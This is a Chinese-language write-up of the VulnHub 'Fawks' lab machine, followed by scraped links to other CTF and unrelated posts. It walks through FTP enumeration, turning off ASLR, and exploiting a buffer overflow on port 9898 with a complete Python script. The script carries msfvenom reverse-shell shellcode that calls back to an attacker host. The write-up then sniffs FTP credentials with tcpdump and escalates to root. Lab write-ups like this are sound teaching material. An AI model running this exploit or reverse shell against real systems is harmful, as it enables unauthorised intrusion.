vulnhub - Fawks - writeup
信息收集
目标开放了21的ftp有匿名登录,除此之外还有常规的80,和连个ssh的端口。

80端口的是一张图片,就是哈利波特的海报图。

anonymous空密码登上去有一个文件下载下来是二进制的文件

上kali里面运行看看。

可以看到这个进程,接着看他开启什么服务没有,看到他在9898开放了,输入魔法指令可以输出相应的文字,这种二进制可执行程序无法查看源码,所以只能对其进行动态调试。这里能够提交数据,可能存在缓冲区溢出漏洞。
ps -aux | grep server
ss -pantu | grep server

但是kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致无法确定缓冲区溢出的位置。所以要关闭。
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
然后终端打开edb(下载 : apt-get install edb-debugger)进入界面后按shift + F3 ,输入前面运行的那个程序的pid,接着左上角run一下,回到9898那里输入500个字符来测试。
python -c "print('A'*500)"
在edb这里调试器报错了,提示的0x414141意思就是 A。

可以看到EIP寄存器都被指令414141也就是A 覆盖,ESP同样被覆盖,EIP种存储的是下一个指令的内存地址,而ESP寄存器中存储的是具体的指令,我们修改EIP的内容,从而使指令跳转到ESP,强制执行ESP的指令。从而可以反弹shell。

确定溢出位置
使用msf的生成500字符,重启edb以及服务输入上述500字符,报错内容如下。
msf-pattern_create -l 500

使用msf-pattern_offset来找偏移量。
msf-pattern_offset -l 500 -q 64413764

验证EIP和ESP位置
生成一串验证字符串,进行调试,发现EIP寄存器是BBBB,ESP中是HiHiHi,所以去构造一个脚本来反弹shell,ESP寄存器中就是我们的反弹shell的十六进制代码。
python -c "print('A'*112+'BBBB'+'Hi')"

可以构造脚本反弹shell了。

寻找可执行权限的。

找到jmp esp的位置。

在机器指令中,需要反向写。
08049d55
\x55\x9d\x04\x08
使用msfvenom生成python的十六进制payload,文件内容写的是32位,-b 去掉坏字符 "\x00" 不然程序会在执行到\x00时停止执行,其中\x90是 空指令 目的是使程序执行更加稳定。一般是4的倍数个
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.11 LPORT=9999 -b "\x00" -f python
最终的payload:
#!/usr/bin/python2
import sys,socket
buf = b""
buf += b"\xbd\xdf\x3f\x56\xe9\xda\xdf\xd9\x74\x24\xf4\x58\x31"
buf += b"\xc9\xb1\x12\x31\x68\x12\x83\xe8\xfc\x03\xb7\x31\xb4"
buf += b"\x1c\x76\x95\xcf\x3c\x2b\x6a\x63\xa9\xc9\xe5\x62\x9d"
buf += b"\xab\x38\xe4\x4d\x6a\x73\xda\xbc\x0c\x3a\x5c\xc6\x64"
buf += b"\x7d\x36\x15\x7f\x15\x45\x66\x58\xea\xc0\x87\x16\x92"
buf += b"\x82\x16\x05\xe8\x20\x10\x48\xc3\xa7\x70\xe2\xb2\x88"
buf += b"\x07\x9a\x22\xf8\xc8\x38\xda\x8f\xf4\xee\x4f\x19\x1b"
buf += b"\xbe\x7b\xd4\x5c"
payload='A'*112+'\x55\x9d\04\x08'+'\x90'*40+buf
try:
s=socket.socket()
s.connect(('192.168.45.10',9898))
s.send((payload))
s.close()
except:
print('wrong')
sys.exit()
拿下shell, 试了下用/bin/sh -i 升级shell.在当前文件夹下面就有个密码文件。

22端口登录不上,试了之前扫到的2222可以,登陆之后查看组发现在容器里面。
cat /proc/1/cgroup

翻找了一下找到一个flag和一个提示。

按照他的提示就是看21端口的流量,在这里得到了账密neville bL!Bsg3k。
tcpdump -i eth0 port 21

登上ftp又得到一个flag。

试了一下ssh也能登录而且是宿主机。

拉下来之后修改一下里面sudo的位置。

将exp传到靶机上面,执行之后就可以拿到root权限,最后一个flag一般都在根目录底下能找到。
scp root@192.168.45.11:/root/exp2.py /home/neville/exp.py

vulnhub - Fawks - writeup的更多相关文章
- vulnhub writeup - 持续更新
目录 wakanda: 1 0. Description 1. flag1.txt 2. flag2.txt 3. flag3.txt Finished Tips Basic Pentesting: ...
- Vulnhub DC-1靶机渗透学习
前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...
- Vulnhub靶场DC-1 WP
前言 之前提到过最近在做vlunhub的靶场复现工作,今天开始更新writeup吧.(对着walkthrough一顿乱抄嘻嘻嘻) 关于DC-1(官网翻译来的) 描述 DC-1是一个专门构建的易受攻击的 ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- Vulnhub实战-grotesque3靶机👻
Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...
- 2016第七季极客大挑战Writeup
第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...
- ISCC2016 WriteUp
日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...
- 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp
洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...
- 爱春秋之戏说春秋 Writeup
爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...
- 《安全智库》:48H急速夺旗大战通关writeup(通关策略)
作者:ByStudent 题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...
随机推荐
- Ds100p -「数据结构百题」51~60
纪念 数据结构一百题50题了呢,该过半周年啦~~~~ LYC和WGY半年的努力让这个几乎玩笑一般的系列到了现在. 今后也请多多关照啦. 祝愿dp100p早日过半 51.CF1000F One Occu ...
- 文心一言 VS 讯飞星火 VS chatgpt (104)-- 算法导论10.1 2题
二.用go语言,说明如何在一个数组 A[1..n]中实现两个栈,使得当两个栈的元素个数之和不为 n 时,两者都不会发生上溢.要求 PUSH 和 POP 操作的运行时间为 O(1). 文心一言: 在这个 ...
- Rockchip rk3588 U-Boot详解 (三)
Rockchip rk3588 U-Boot详解 (三) 专栏总目录 1.1 Environment-Variables ENV(Environment-Variables)是U-Boot支持的一种全 ...
- React跨路由组件动画
我们是袋鼠云数栈 UED 团队,致力于打造优秀的一站式数据中台产品.我们始终保持工匠精神,探索前端道路,为社区积累并传播经验价值. 本文作者:佳岚 回顾传统React动画 对于普通的 React 动画 ...
- 可视化-vscode安装matplotlib工具
可视化工具中,最流行的工具之一是 Matplotlib,它是一个数学绘图库,可以制作简单的图表,如折线图和散点图: 使用pip可以安装Matplotlib: 安装步骤:: 1.在vscode的终端输入 ...
- CF1526C2
与简单版的思路完全一致,只需要改一下范围. 可以去看我简单版本的博客. 题目简化和分析: 给您一个数组,在其中选择若干个数使得: 任意前缀和 \(\ge 0\) 数量尽可能的大 我们可以使用贪心策略, ...
- P9073 [WC/CTS2023] 楼梯 题解
题目链接 简要题意 有一块楼梯,这里指的楼梯是倒着的,正过来看上一层宽度一定小于等于这一层宽度,并且由格子组成,你需要对其进行增删和恢复某一历史版本的操作,并回答这块楼梯是否有固定格数的子楼梯. 题目 ...
- 使用TS进行Vue-Router的Meta类型扩展
目录 1.前言 2.解决 1.前言 使用Vue-Router时,会将一些字段信息附加到路由的Meta对象里面,比如图标icon,标题,权限等,如下: { path: '/billboard/board ...
- tcpdump必知必会
tcpdump原理 & 在tcp协议栈的位置 tcpdump用法 基于协议.主机.端口过滤 使用and or逻辑运算符做复杂的过滤操作 tcpdump flags 1. tcpdump原理 l ...
- 【NOI2014】 魔法森林---解题报告
传送门 题目大意 给定 \(n\) 个点和 \(m\) 条边.每条边包含起点终点和两个精灵的最低限制,求最少需要携带的精灵数量. 题目解析 直接套 LCT 板子 将所有边按照进行升序排序,从小到大将边 ...